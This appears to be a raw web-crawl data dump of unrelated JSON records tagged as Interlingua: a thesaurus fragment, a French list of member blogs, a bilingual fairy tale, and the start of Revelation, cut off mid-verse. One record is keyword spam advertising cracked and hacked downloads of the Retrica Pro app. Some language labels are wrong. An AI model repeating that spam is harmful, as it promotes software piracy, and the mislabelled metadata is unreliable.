testar su fortia portativeModificar cargar un(a) ponte pro testar su fortia portativa cargas del statoModificar cargas fiscalModificar cargas fiscales cargas locativeModificar cargas locativas cargas mensualModificar cargas mensuales cargas notarialModificar cargas notariales cargas publicModificar cargas publicas cargas salarialModificar cargas salariales cargas socialModificar cargas sociales cargateModificar cargato(s) \/ cargata(s) cargate de tote le bagagesModificar [cargato(s) \/ cargata(s)] de totos los bagages cargatorModificar cargator de batteriaModificar cargator rotatoriModificar cargator rotatorio cargator super erucasModificar cargator universalModificar cargatorioModificar cargoModificar cargo de carbonModificar cariModificar cari [le cariarModificar cariateModificar cariato(s) \/ cariata(s) caribeModificar caribe adj, sub caribuModificar caribu [le caricaturaModificar caricaturalModificar caricatural(es) caricaturarModificar caricaturar un personaModificar caricaturar una persona caricaturistaModificar carieModificar carie [la carie del ossosModificar carie de los ossos carie dentalModificar carie dentariModificar carie dentaria carie ossoseModificar carie ossosa carillon [F]Modificar carillonamentoModificar carillonarModificar carillonatorModificar carinaModificar carinageModificar carinarModificar carinateModificar carinato(s) \/ carinata(s) carinatifolieModificar carinatifolio(s) \/ carinatifolia(s) carinatisepaleModificar carinatisepalo(s) \/ carinatisepala(s) carinifereModificar carinifero(s) \/ carinifera(s) CarinthiaModificar cariogeneModificar cariogeno(s) \/ cariogena(s) carioseModificar carioso(s) \/ cariosa(s) cariositateModificar caritabileModificar caritabile(s) caritateModificar caritate christianModificar caritate christiana caritate ostensibileModificar caritativeModificar caritativo(s) \/ caritativa(s) carlinaModificar carlina vulgarModificar carlingaModificar carlismoModificar carlistaModificar Carlo es le terror de iste quartieroModificar Carlo est le terror de iste \/ isto quartiero carmagnoleModificar carmagnole [la carmelitaModificar carmelita(s) discalceateModificar carmelita(s) discalceata(s) carmesinModificar carmesin(es) \/ carmesino(s) \/ carmesina(s) carmesinoModificar carminativeModificar carminativo(s) \/ carminativa(s) carminativoModificar carmineeModificar carmineo(s) \/ carminea(s) carminoModificar carnageModificar carnalModificar carnal(es) carnalitateModificar carnationModificar carnavalModificar carnaval [le carnavalescModificar carnavalesco(s) \/ carnavalesca(s) carneModificar carne [la carne a \/ de cannonModificar carne bovinModificar carne bovina carne bufalinModificar carne bufalina carne cartilaginoseModificar carne cartilaginosa carne cavallinModificar carne cavallina carne con guarnition de verdurasModificar carne congelate","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_c","date":"2017-04-29T09:19:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123484.45\/warc\/CC-MAIN-20170423031203-00491-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.3647186756,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"ina_Latn_score\": 0.3647186756134033, \"ast_Latn_score\": 0.09170461446046829, \"cat_Latn_score\": 0.08470648527145386, \"por_Latn_score\": 0.05844814330339432, \"spa_Latn_score\": 0.05449436604976654, \"vec_Latn_score\": 0.0338200218975544, \"oci_Latn_score\": 0.03206876665353775, \"lat_Latn_score\": 0.024176454171538353, \"ile_Latn_score\": 0.022642288357019424, \"glg_Latn_score\": 0.020595114678144455, \"cot_Latn_score\": 0.020514214411377907, \"ita_Latn_score\": 0.015951670706272125, \"nld_Latn_score\": 0.012394913472235203, \"srd_Latn_score\": 0.0118869012221694, \"ron_Latn_score\": 0.011657805182039738}","num_words":21705,"character_repetition_ratio":0.273,"word_repetition_ratio":0.001,"special_characters_ratio":0.111,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.456,"perplexity_score":7632.0,"cluster_detection":-1} +{"text":"Identification\nSe souvenir de moi\nLe blog de 12max\nLe blog de chacha\nLe blog de yetc\nLe site de drakc\nLe blog de Seb\nLe blog de Timetre\nLe blog de japauto02\nLe blog de Stéphane37\nLe site d'Usineux\nLe blog de Tamax\nLe blog de bull64\nLe blog de BlackMutant\nLe blog de V-Taz42\nLe blog de vmax69\nLe blog de skylinepower\nLe Blog de Chris74","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/allvmax.com\/plus\/liens\/les-blogs-des-membres","date":"2017-05-29T05:50:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463612018.97\/warc\/CC-MAIN-20170529053338-20170529073338-00304.warc.gz","language":"ina","language_score":0.7768045664,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.7768045663833618, \"fra_Latn_score\": 0.17868483066558838, \"spa_Latn_score\": 0.016252009198069572}","num_words":95,"character_repetition_ratio":0.166,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":0.545,"perplexity_score":8705.4,"cluster_detection":-1} +{"text":"– Beautiful Filters: No more post-editing! Capture what you see on the screen with 125 real-time filters\n- Private Album: Share your photo and video to your friend and start making memories together!\n– Video & Gif: Just tap and hold the shutter button to start recording what is going on around you. You can covert your video into GIF with one touch\n– Collage shot: Bring out an artist inside you and create a beautiful collage. You can also turn your smartphone into a Photo Booth for fun occasions\n– Random filter: Just tap the random filter button when you want to be surprised. Discover how a change of filter can change the photo and video entirely\n– Stamp™: Decorate your photo and video with Retrica's original Stamp™\n– Quick Gestures: Double tap the screen to easily switch the camera or long-press the screen to take a picture. Now you can take a selfie or capture what you see at lighting speed\n– Share: Upload to your favorite social media platforms such as Facebook and Instagram\nretrica pro apk\nretrica pronunciation\nretrica pro onhax\nretrica pro 3.0.9\nretrica pro app\nretrica pro apk latest version\nretrica pro ios\nretrica pro v3.2.0\nretrica pro 3.2.2 apk\nretrica pro free download for android\nretrica pro\nretrica pro apk all unlocked download\nretrica pro apk onhax\nretrica pro apk 3.2.2\nretrica pro app free download\nretrica pro apk 3.0.9\nretrica pro apk cracked\nretrica pro apkmania\nretrica pro a\nactualizar retrica a pro\nretrica pro blackberry\nretrica pro build\nretrica pro bedava indir\nretrica pro baixar gratis\nretrica pro boerse\nretrica pro v2.3.3 build 26 apk\nretrica pro apk blogspot\nretrica pro apk blackberry\nblackmart retrica pro\nretrica baixar pro pc\nretrica pro cracked\nretrica pro cracked ipa\nretrica pro cydia source\nretrica pro code\nretrica pro camera apk\nretrica pro cracked iphone\nretrica pro cracked ipa download\nretrica pro crack apk free download\nretrica pro cracked apk download\nretrica pro chomikuj\nretrica pro download\nretrica pro download ipa\nretrica pro download ios\nretrica pro datafilehost\nretrica pro download iphone\nretrica pro dl\nretrica pro download free iphone\nretrica pro 2.3 download\nretrica pro full download\ndownload gopro retrica\nprograma de retrica\nretrica pro effects\nretrica pro en android\nretrica pro en son sürüm\nretrica editor pro\nretrica pro apk en son sürüm\ncomo tener retrica pro en android\nretrica camera explorer pro\ncomo tener retrica pro en iphone gratis\nretrica pro eu sou android\nretrica pro effects apk\ndifferenza tra retrica e retrica pro\nretrica e retrica pro\ndifferenza retrica e retrica pro\ndiferença entre retrica e retrica pro\nretrica pro free download\nretrica pro for ipad\nretrica pro free download for ipad\nretrica pro free download for iphone\nretrica pro free for iphone\nretrica pro for ipad free\nretrica pro features\nretrica pro free full\nretrica pro for ipad mini\nretrica pro google play\nretrica pro google drive\nretrica pro gratis\nretrica pro gratis iphone\nretrica pro gratis android\nretrica pro gratis apk\nretrica pro gratis para android\nretrica pro gratis ios\nretrica pro gratis download\nretrica pro galaxy mini turkiye\nretrica pro hack\nretrica pro hack ios\nretrica pro hack ifunbox\nretrica pro hack iphone\nretrica pro hack apk download\nretrica pro hilesi\nretrica pro hack android\nretrica pro upgrade hack\ndownload retrica pro hack\nretrica pro on hax\nretrica pro ipa\nretrica pro ios download\nretrica pro ipad\nretrica pro iphone free\nretrica pro ipa free download\nretrica pro iphone download\nretrica pro ipa 2.0\nretrica pro installer\nretrica pro ipa cracked\nretrica pro jailbreak\nretrica pro iphone jailbreak\nretrica pro no jailbreak\nretrica pro java\nretrica pro sin jailbreak\nretrica pro senza jailbreak\nretrica pro gratis iphone senza jailbreak\nretrica pro kickass\nretrica pro key\nretrica pro kuaiyong\nretrica pro apk kickass\ndownload retrica pro kickass\nretrica pro apk download kickass\nretrica pro apk all unlocked kickass\nretrica pro kullanımı\nretrica pro kodu\nretrica pro kilitler açık\nretrica pro latest\nretrica pro latest version apk free download\nretrica pro latest download\nretrica pro last version apk\nretrica pro latest version free download\nlatest retrica pro apk free download\nretrica pro todos los filtros\nretrica para lg pro lite\nretrica pro lisans\nretrica pro lumia\nretrica pro mod apk\nretrica pro mobile9\nretrica pro mob.org\nretrica pro mod download\nretrica pro mythic\nretrica pro myegy\nretrica macbook pro\nretrica pro apk mob.org\nretrica pro android mobile9\nretrica pro apk mobile9\nretrica pro new version\nretrica pro new\nretrica pro no root\nretrica pro new apk\nretrica pro nedir\nretrica pro apk cepde net\nretrica pro ne kadar\nretrica pro nasıl ücretsiz indirilir\nretrica pro nun farkı\nretrica pro on android\nretrica pro online\nretrica pro apk online\nretrica pro app on google play\nretrica pro android oyun club\nretrica viewer pro online\nretrica pro apk android oyun club\nbaixar o programa retrica\nbaixar o programa retrica para pc\nbaixa o programa retrica\ncomo usar o programa retrica\ncomo baixar o programa retrica\ncomo usar o programa retrica no celular\nretrica o retrica pro\ncomo ter o retrica pro\ncomo usar o retrica pro\nqual o programa retrica\nretrica pro play store\nretrica pro paid apk\nretrica pro patched\nretrica pro paid\nretrica pro para android\nretrica pro pc\nretrica pro para ipad\nretrica pro para android gratis\nretrica pro para pc\nretrica pro pour android\nretrica pro review\nretrica pro root\nretrica pro repo\nretrica pro rar\nretrica and retrica pro\nretrica pro ile retrica arasındaki fark\nretrica pro rus\nretrica pro lenov.ru\nretrica pro symbianize\nretrica pro sürüm apk\nretrica pro son sürüm apk\nretrica pro sürüm\nretrica pro startimes\nretrica pro son sürüm\nretrica pro sürüm indir\nretrica pro samsung\nretrica pro s4\nпроблем с retrica\nпроблеми с retrica\nretrica pro unlocked apk\nretrica pro upgrade free download\nretrica pro upgrade apk 2.0.3\nretrica pro upgrade apk 2.2.3\nretrica pro upgrade ios\nretrica pro upgrade free android\nretrica pro upgrade android\nretrica pro upgrade gratis\nretrica.v2.0.3.pro.unlocker-twingo..apk\nhow do u pronounce retrica\nretrica pro v3.0.9\nretrica pro v3.0.8\nretrica pro version\nretrica pro v3.2.1\nretrica pro v2.2.3 apk\nretrica pro v2.3.3 apk\nretrica pro v2.0.2\nretrica pro v2.4.1\nretrica pro v2.2.2\nretrica v 2.2.3 pro\nretrica pro v 2.3.3\nvshare retrica pro\nretrica v 2.3 pro\nretrica pro v.2.3 apk\nretrica pro v 2.0.2\nretrica pro v 2.4.2\nretrica pro v 2.0.2 apk\nretrica v 2.0.3 pro upgrade\nretrica pro v 2.0.3\nretrica pro windows phone download\nretrica pro watermark\nretrica pro windows phone free download\nretrica pro with all filters\nretrica pro windows phone\nretrica pro windows\nretrica pro apk wap\nretrica pro apk windows\nretrica pro windows 8\nretrica pro windows phone gratis\nretrica pro xap\nretrica pro xda\nretrica pro youtube\nretrica pro yapma\nretrica pro yükle\nretrica pro yeni sürüm apk\nretrica pro galaxy y\nretrica samsung galaxy y pro\nretrica pro yapma android\nretrica pro yeni sürüm apk indir\nretrica pro yapma iphone\nretrica pro yapma ios\nretrica y retrica pro\ndiferencia entre retrica y retrica pro\nsamsung galaxy y pro retrica\ndiferencia de retrica y retrica pro\nretrica pro apk zip\nproblemy z retrica\njak korzystac z programu retrica\nproblem z retrica\nretrica pro 1.0.1 ipa\nretrica pro 1.3.0 ipa\nretrica camera pro 1.0.4 apk\nretrica camera pro 1.0.4\nretrica-pro-2.1-2-apk\nretrica pro 2.7 apk\nretrica pro 2.3.3 apk\nretrica pro 2.11.8 apk\nretrica pro 2.2.3 apk\nretrica pro 2.1.4 apk\nretrica pro 2.0.3 apk\nretrica pro 2.4.2 apk\nretrica pro 2.2 apk\nretrica pro 2.2.1 apk\nretrica pro 2.0.1 apk\nretrica pro 2\nretrica 2 pro apk\nretrica pro 3.0.8\nretrica pro 3.0.9 apk\nretrica pro 3.0.7 apk\nretrica pro 3.0.8 apk\nretrica-pro-v2-2.3-apk\nretrica pro apk 2.3 3\nretrica pro 3.2.2\nretrica pro 3 apk\nretrica pro 4pda\nretrica pro 4pda android\nretrica pro 4pda ios\nretrica pro 4sh\nretrica pro 4.2.2\nretrica pro 4pda apk\nretrica pro 2.1-4 apk\nretrica pro v2.1 (4+)\nretrica 4.2.2 pro apk\nretrica pro apk 4sh\niphone 4 retrica pro\niphone 4 retrica pro indir\nretrica pro iphone 5s\nretrica pro apk oyun59\nretrica pro lumia 520\nretrica pro nokia lumia 520\nretrica pro para nokia lumia 505\niphone 5 retrica pro\nretrica pro iphone 6\nretrica pro ios 7\nretrica pro ios 7.1.2\nretrica pro ios 8\nretrica pro ios 8.3\nretrica pro ipa ios 8\nios 8 retrica pro","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/fullhax.com\/retrica-pro-v3-3-0-full-apk-download-cracked","date":"2017-06-24T01:39:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320209.66\/warc\/CC-MAIN-20170624013626-20170624033626-00432.warc.gz","language":"ina","language_score":0.6447559595,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.6447559595108032, \"ile_Latn_score\": 0.05575776845216751, \"ido_Latn_score\": 0.05527922511100769, \"eng_Latn_score\": 0.04817438870668411, \"srd_Latn_score\": 0.047124043107032776, \"por_Latn_score\": 0.031672921031713486, \"rmc_Latn_score\": 0.025403272360563278, \"lat_Latn_score\": 0.022203737869858742, \"oci_Latn_score\": 0.013035953976213932}","num_words":2416,"character_repetition_ratio":0.255,"word_repetition_ratio":0.053,"special_characters_ratio":0.211,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.647,"perplexity_score":14551.3,"cluster_detection":-1} +{"text":"Tuesday, January 13, 2009\nLe sonio del princessa\n(Languages of this post: Interlingua, English)\nPro dicer le veritate, illa non esseva completemente un princessa. Illa anque non habeva le imagine de un princessa. Illa non esseva gracile, delicate, e palide ma robuste con le pelle bronzate. In despecto de isto illa viveva in un castello antique que dominava le valle, e on la appellava princessa desde su infantia.\nUn via scarpate e roccose vadeva del village a iste citadella edificate al summitate de un precipitio abrupte. Cata die visitantes ascendeva pro vider le castello.\nLe patre del princessa aperiva le portales de ligno e guidava le visitatores trans le cortes interior, le grande salas e le cameras diverse, le prision subterranee, e le turres de guarda, durante que ille narrava le eventos tumultuose que habeva occurrite illac.\nMa durante iste visitas, le princessa vadeva al village. Non placeva a illa visitas a su castello per estranieros. Illa prefereva adjuvar le costuriera con su labor, mulger vaccas con le sponsas del fermeros, e adjuvar le infantes con lor lectiones. Omnes esseva contente de vider la. E si on non la videva un certe die, on demandava a illa le proxime die: \"Princessa, ubi esseva tu? Tu nos ha mancate.\"\nDurante le postmeridie illa curreva in retorno a su castello, post le departita del ultime traino del station del village e post que le pulvore altiate per le automobiles del estranieros habeva cadite un altere vice sur le via campestre del village.\nIlla passava rapidemente le casa del guardianos del castello, glissava a in su castello trans un porta de ligno decadite, e descendeva a su cocina enorme, cuje muros esseva adornate con plattos e pottos de stanno. Illa faceva rotar le vetule spito ferruginose que poteva rostir omne un porco integre.\nIlla poteva facilemente imaginar omne le activitate que il habeva hic quando resonava le ruito de festas in le sala grande. Illa quasi poteva vider le garsones de cocina qui montava rapidemente le scalas con plattos de alimentos fumante, collidente con le servas pulchre qui portava le plattos immunde e con le bottiliero vetule portante con se urceos plen de vino, pausante pro recuperar su halito e inglutir un bon quantitate del vino que ille portava.\nImaginante omne iste activitate, le princessa debeva rider. Tunc illa montava le scala stricte que conduceva al sala de banchetto. Illa se accommodava in un banco de ligno sculpite e examinava le ricamente brodate bandieras que sperava undular de novo.\nLe sol ponente inundava le camera con un luce rosee, e il semblava al princessa que le blocos de ligno in le camino aperite iva a comburer.\nUn calor agradabile animava le sala; e durante que le princessa reguardava soniosemente le picturas obscur, le cavalieros e castellanas in illos descendeva e formava un cortege regal. Un ex illes offereva le brachio al princessa, e illes se dirigeva con dignitate al festino del postmeridie. Unes pages in uniformes apportava un succession continue de plattos, e le vino rubie circulava circum le tabula.\nIlla non poteva dicer quante tempore durava le festino, ma le voce de su patre la eveliava.\n\"Princessa, io te ha cercate ubique. Nos esseva preoccupate a causa de te,\" le reprimendava su patre. Ma al mesme tempore ille la imbraciava fortemente, e illa se sentiva tranquille e secur.\nIlles tunc reguardava trans le fenestra ultra le valle, ultra le tectos del village, verso le brumas lontan.\n\"De ubi veni le bruma?\" voleva saper le princessa.\n\"Illo veni del undas del mar que batte le costa, multo lontan de hic,\" respondeva su patre a illa.\n\"E que ha il sub le bruma?\" voleva illa anque saper.\n\"Le grande citate, ubi vive milles e milles de personas,\" respondeva ille.\n\"Lassa me restar un pauco,\" supplicava le princessa. Illa esseva agitate per un desiro inexplicabile de vider le grande citate. E le undas distante pareva attraher la con un fortia quasi magnetic.\nIn solitude un altere vice, le princessa se lassava cader sur su banco. Illa claudeva le oculos e ascoltava le musicos durante que illes invitava omnes a dansar. Le cortege colorate e gaudiose sequeva le portator del standardo. Ma illac le princessa se separava del procession.\nIlla passava le vallettos qui custodiava le cavallos, montava le melior cavallo nigre, e galopava trans le portas aperite del castello. Illa galopava sur le via rural pulvorose e passava le village sin stoppar usque illa jam non poteva vider le castello. Illa curreva al latere de un fluvio large, transversava un ponte, e videva in le distantia le luces del citate.\nIlla tremeva con excitation durante que illa se precipitava verso le attractiones del citate. Luces brillante inundava le stratas, plenate de gente qui se hastava in omne directiones.\nArrivante al cathedral, le princessa lo contemplava stupefacite. Illo esseva splendide, pensava illa, comparate con le ecclesia modeste del village. Illa meravillava al palatios al latere del avenues, al fontanas magnific con su sculpturas, al parcos con su exuberantia floral. Le gente passava ante illa, juvene e vetule, allegre e grave, ma nemo la notava, nemo prestava attention a illa.\nIlla tunc se sentiva multo sol. \"Si solmente mi patre esseva hic! Le citate me placerea etiam plus. Felicitate possedite in commun es gaudio duple,\" pensava illa.\nIlla sasiva le redinas e continuava su calvacada, le cavallo vadente in avante como si illo esseva pulsate per le vento. Le ruitos del citate disappareva e grande pratos verde veniva verso illa. Le cavallo saltava sur rivettos, sepes, fossatos, e petras grosse. Unes laros comenciava a accompaniar los in su curso rapide, e subito le princessa discoperiva le superficie infinite del oceano que se extendeva ante illa.\nLe spuma del undas flagellava le litore roccose con forte colpos e reflueva, accumulante fortia nove pro batter le costa de novo.\nLe princessa esseva tan impressionate per le undas del mar e lor spuma que illa oblidava un momento descender de su cavallo. Ma su stupefaction subsideva, illa saltava al terra, removeva su scarpas, e, pedes nude, illa vadeva de un petra grosse al altere. Le aqua irrovava su gambas durante que illa essayava evitar le undas. Finalmente illa se installava sur un petra grande e ascoltava le musica del mar. La commoveva de maniera estranie le extension del mar sin limites. Illa se sentiva sol e pensava:\n\"Si solmente mi matre esseva hic, con me, me placerea le mar multo plus fortemente. Le felicitate possedite in commun es gaudio duple,\" pensava illa un altere vice. In silentio illa scrutava le horizonte, essayante conjecturar lo que il habeva ultra le extension interminabile del mar.\nIlla non haberea potite dicer quante tempore illa restava sedite illac. Ma subito illa videva un pisce grande que natava presso le costa. Rapidemente illa vadeva verso le pisce e saltava sur su dorso.\n\"Porta me al altere latere del oceano,\" diceva illa al pisce. \"Io debe saper lo que il ha al altere latere.\"\nLe pisce la lassava seder se sur su dorso e la portava trans le undas. Illes natava omne le die usque le nocte. Al alba illa videva le sol durante que illo surgeva como un explosion de foco. Al fin del die le princessa lo videva quando illo submergeva in le mar como un ballon orange incandescente. Illa passava presso insulas meraviliose con plagias de sablo blanc caressate per le undas. Illa natava trans scolios de corallo e se trovava circumferite per bancos de pisces de multe colores.\nBen que iste spectaculos la incantava, le pisce non diceva ni un sol parola, e illa se sentiva completemente sol.\n\"Si mi amicos solmente poteva vider iste spectaculo con me,\" pensava illa, \"me placerea multo lo que me circumfere etiam plus intensemente. Felicitate possedite in commun es gaudio duple. Iste spectaculo es troppo meraviliose pro un sol persona. Illo es como si on habeva un grande festino e nemo con qui posseder lo in commun. \"Nata, pisce grande,\" illa supplicava quasi disculpante se. \"Porta me al altere litore. Omne iste beltate es troppo pro un persona completemente sol.\"\nUn grande nostalgia la invadeva de novo. Illa sapeva tamen que illo esseva non per le grande citate al altere latere del mar, ma pro le personas qui la amava e qui a illa importava.\nIlla sentiva un pavor tremende. Esque illa esseva ancora importante a su familia e amicos? Esque illes ancora se preoccupava pro illa? Subito illa voleva retornar a casa con un minimo de demora. \"Hasta vos,\" diceva illa al pisce. \"Io debe retornar tan promptemente que sia possibile.\"\nQuando illes finalmente arrivava al litore, illa se lassava glissar ab le dorso del pisce, e illa se hastava al terra. Illa cercava le cavallo ma non poteva trovar lo. Illa poteva incontrar solmente un vetule tortuca grande que veniva verso illa lentissimemente.\n\"Porta me a mi focar tan rapidemente como tu pote,\" implorava le princessa, levante se sur su grande carapace.\nComplacente le princessa, le tortuca extendeva su capite e advantiava lentemente, passo a passo. Quando le princessa jam non poteva continer su impatientia, illa descendeva de su carapace e curreva in avante.\nMa quando finalmente illa debeva facer halto al latere del via a causa de fatiga extreme, le tortuca la attingeva, e le princessa se levava de novo sur su carapace e continuava su viage.\nLe dies, le horas, e le minutas nunquam habeva apparite tan longe a illa in le passato. Su impatientia augmentava con cata passo, con cata curva del cammino.\nEsque illes la recognoscerea post tante tempore? Stava ben su patres, su amicos? Illa esseva plen de un grande incertitude. A vices illa essayava vider le castello in le distantia. Finalmente, illo appareva.\nIlla tunc curreva phreneticamente verso le summitate del collina, ascendente le scalas, sin halito, baniate in sudor. Su patre esseva illac. Le oculos plenate de gratitude, ille se inclinava verso su filia e separava su capillos de su facie.\n\"Esque tu te senti ben, princessa?\" ille demandava sollicitemente a causa de haber la eveliate. \"Io veniva pro cercar te. On te attende in le village. Il ha un dansa iste nocte.\"\nSin un altere parola, le princessa se levantava subito e imbraciava su patre. Postea, felice, illa curreva al village pro vider un altere vice le gente qui la amava.\n---\nThe princess dreams on.\nTo tell the truth, she wasn't a real princess. She didn't even look like a princess. She wasn't delicate, graceful, and pale, but robust with hair the color of bronze. Despite this, she lived in an old castle high over the valley, and she was called \"Princess\" ever since she was a child.\nA steep and rocky road went from the village to this citadel built on the side of a rugged cliff. Every day people hiked up to see the castle.\nThe princess's father opened the wooden doors of the castle and guided visitors through the interior courts, the great halls and other rooms, the dungeon below, and the guard towers while he told stories about the stormy events that used to take place there.\nBut during these visits the princess went to the village. She didn't enjoy the visits to her castle by strangers. She preferred instead to help the seamstress with her work, to milk cows with the farmers' wives, and to help the children with their school work. Everyone was happy to see her. And if she did not show up on a certain day, everyone asked her the next time she came, \"Where have you been, Princess? We have missed you.\"\nIn the afternoons, the princess would run home again after the last train had left the village station and after the dust raised by the departing cars of strangers had settled down on the quiet country road of the village.\nShe went rapidly by the guard house of the castle, slipped into the castle through a decaying wooden door, and went down to its enormous kitchen, whose walls were lined with pewter plates and pots. She would turn the old rusty spit that could roast an entire pig.\nShe could easily imagine all the activities that took place here in the midst of all the happy sound of celebration coming in from the great hall. She could almost see the kitchen boys who would rapidly climb the stairs with steaming plates of food and run into the beautiful servant girls who carried down the dirty dishes, as well as the old cellarman carrying jugs full of wine as he paused to catch his breath while drinking a lot of the wine he was carrying.\nAs she imagined all this activity, the princess broke out laughing. Then she went up the narrow stairs leading to the banquet room. She sat down on a carved wooden bench and examined the richly embroidered flags that were awaiting the chance to wave once again.\nThe setting sun flooded the room with red-yellow light, and it seemed to the princess that the logs in the fireplace were about to catch fire.\nThe cozy warmth made the hall come alive; and while the princess in her reverie looked at the dark pictures, the knights and chatelaines they depicted came down and formed a truly regal procession. One of them offered his arm to the princess, and they made their way in great dignity to the evening's feast.\nPages in uniform brought a continuing parade of plates of food, and ruby red wine circulated around the table.\nShe could not tell how long the eating and drinking lasted, but her father's voice broke her reverie.\n\"Princess, I have been looking for you everywhere. You had us worried,\" her father scolded. But at the same time he gave her a big hug, and she felt happy and secure.\nThey then gazed through the window beyond the valley, beyond the roofs in the village, toward the mists in the distance.\n\"Where does the fog come from?\" the princess wanted to know.\n\"It comes from the waves that batter the coast far away from here,\" her father answered.\n\"And what is there under the fog?\" she also wanted to know.\n\"The big city, where thousands of people live,\" he answered.\n\"Let me stay here a little longer,\" the princess asked. She was filled with an unexplainable longing to see the big city. And the distant waves beckoned to her with an almost magnetic force.\nAlone once again, the princess stretched out on her bench. She closed her eyes as the musicians invited everyone to start dancing. The happy and colorful guests followed the standard bearer, but the princess broke away from the procession.\nShe passed by the grooms taking care of the horses, got on the most beautiful black horse, and galloped through the open doors of the castle. She ran along the edge of a lengthy river, crossed a bridge, and saw in the distance the lights of the city.\nShe trembled with excitement as she threw herself into the attractions of the city. Brilliant light flooded the streets, filled with people who hurried everywhere.\nAs she arrived at the cathedral, the princess looked at it in wonder. It was splendid, she thought, compared with the modest church of the village. She marveled at the palaces bordering the avenues, at the magnificent fountains with their sculptures, at the parks with their floral exuberance. The people passed her by, young and old, happy and sad, but nobody noticed her, no one paid her any attention.\nShe then felt very lonely. \"If only my father were here, the city would be so much nicer! Happiness shared,\" she thought, \"is double the joy.\"\nShe held onto the reins and continued her ride, her horse running ahead as if pushed by the wind. The noise of the city grew dim, and green fields without end kept coming toward her. Her horse galloped over streams, hedges, ditches, and large stones. Some seagulls started following them as they went quickly by. Suddenly, the princess discovered the unending surface of the ocean spreading out into the distance.\nThe foamy waves beat heavily against the rocky shore, flowed back, then pounded the shore once again.\nThe princess was so impressed by the rushing breakers that she forgot for a moment to get off her horse. But her excitement subsided, and she jumped down from her horse, took off her shoes, and went barefoot from one large rock to another. The water sprayed her legs as she tried to avoid the waves. Finally, she sat down on a boulder and listened to the music of the sea. She was strangely moved as it continued endlessly in front of her.\n\"If only my mother were here with me, the sea would be so much nicer. Happiness together is happiness doubled,\" she thought once again. She looked toward the horizon in silence as she wondered what there was to see in the endless ocean beyond.\nShe could not say how long she sat there, but suddenly she saw a big fish swimming near the coast. She quickly ran toward it and jumped on its back.\n\"Take me to the other side of the sea,\" she said to the fish. \"I have to know what lies on the other side.\"\nThe fish let her climb onto its back and carried her through the waves. They swam all day long and into the night. At dawn they saw the sun come up in a surge of fire. At the end of the day the princess saw it as it sank into the sea like an incandescent orange ball. She went by wonderful islands with white sandy beaches that were caressed by the waves. She swam through the coral reefs and found herself surrounded by schools of fish in many colors.\nThough these spectacles enchanted her, the fish said absolutely nothing, and she felt utterly alone.\nIf my friends could see this spectacle with me, she thought, I would be much happier with all that I see around me. Happiness together has double the pleasure. This spectacle is too much for just a single person. It is as if I were at a great feast with no one to share it with. \"Keep on swimming, big fish,\" she said almost as if apologizing. \"Take me to the shore beyond. All this beauty is too much for just a single person.\"\nGreat feelings of nostalgia came over her again. She knew, however, that they were not for the great city on the other side of the sea but for the people who loved her and for whom she was important.\nShe was tremendously gripped by fear. Was she still important to her family and friends? Were they still worried about her? Suddenly she wanted to return home as soon as possible. \"Hurry up,\" she said to the fish. \"I must return home as soon as I can.\"\nWhen they finally reached her home shore once again, she slipped off the back of the fish and quickly ran ashore. She looked for her horse but couldn't find it. She could only find a big old tortoise that came toward her slowly.\n\"Take me home as quickly as you can,\" the princess begged as she climbed onto his big shell.\nObligingly, the tortoise extended his head and plodded slowly onward. When the princess could no longer contain her impatience, she got off his shell and ran forward.\nBut when she finally had to stop at the side of the road out of exhaustion, the tortoise came up to her, and the princess climbed onto his shell once again and continued her voyage.\nThe days, the hours, and the minutes never had seemed this long in the past. Her impatience grew with every step, with each curve in the road.\nWould they recognize her after so much time had gone by? Were her parents and friends feeling well? She was filled with great uncertainty. At times she tried to see the castle in the distance. Finally, it came into view.\nShe then hurried frantically toward the top of the hill and went up the stairs, breathless and soaked with sweat. Her father was there. His eyes filled with gratitude, he bent down toward his daughter and brushed her hair away from her face.\n\"Are you feeling all right, Princess?\" he asked almost apologetically as he worke her up. \"I came to get you. Everyone is waiting for you in the village. They are having a dance this evening.\"\nWithout another word, the princess quickly got up and embraced her father. Then she happily ran toward the village to see once again the people who loved her.\nPosted by hkyson at 8:22 AM","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/01\/le-sonio-del-princessa.html","date":"2017-07-22T06:42:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423903.35\/warc\/CC-MAIN-20170722062617-20170722082617-00314.warc.gz","language":"ina","language_score":0.8186773062,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"ina_Latn_score\": 0.8186773061752319, \"eng_Latn_score\": 0.16432833671569824}","num_words":5143,"character_repetition_ratio":0.036,"word_repetition_ratio":0.003,"special_characters_ratio":0.202,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.804,"perplexity_score":2321.1,"cluster_detection":-1} +{"text":"1:1 Le revelation de Jesus Christo, que Deo le ha date pro monstrar a su servos le cosas que debe advenir in breve; e ille los faceva cognoscer per medio de su angelo a su servo Johannes,\n1:2 qui attestava le parola de Deo e le testimonio de Jesus Christo, toto lo que ille videva.\n1:3 Beate qui lege e beate illes qui ascolta le parolas de iste prophetia e conserva le cosas que es scribite in illo, pois que le tempore es proxime!\n1:4 Johannes, al septe ecclesias que sta in Asia: Gratia a vos e pace de Ille qui es, que esseva e que venira, e del septe Spiritos que sta ante su throno,\n1:5 e de Jesus Christo, le fidel teste, le primogenite del mortos e le prince del reges del terra. A ille qui nos ama, e nos ha liberate ex nostre peccatos con su sanguine,\n1:6 e nos faceva devenir un regno e sacerdotes de Deo e Patre sue, a ille sia 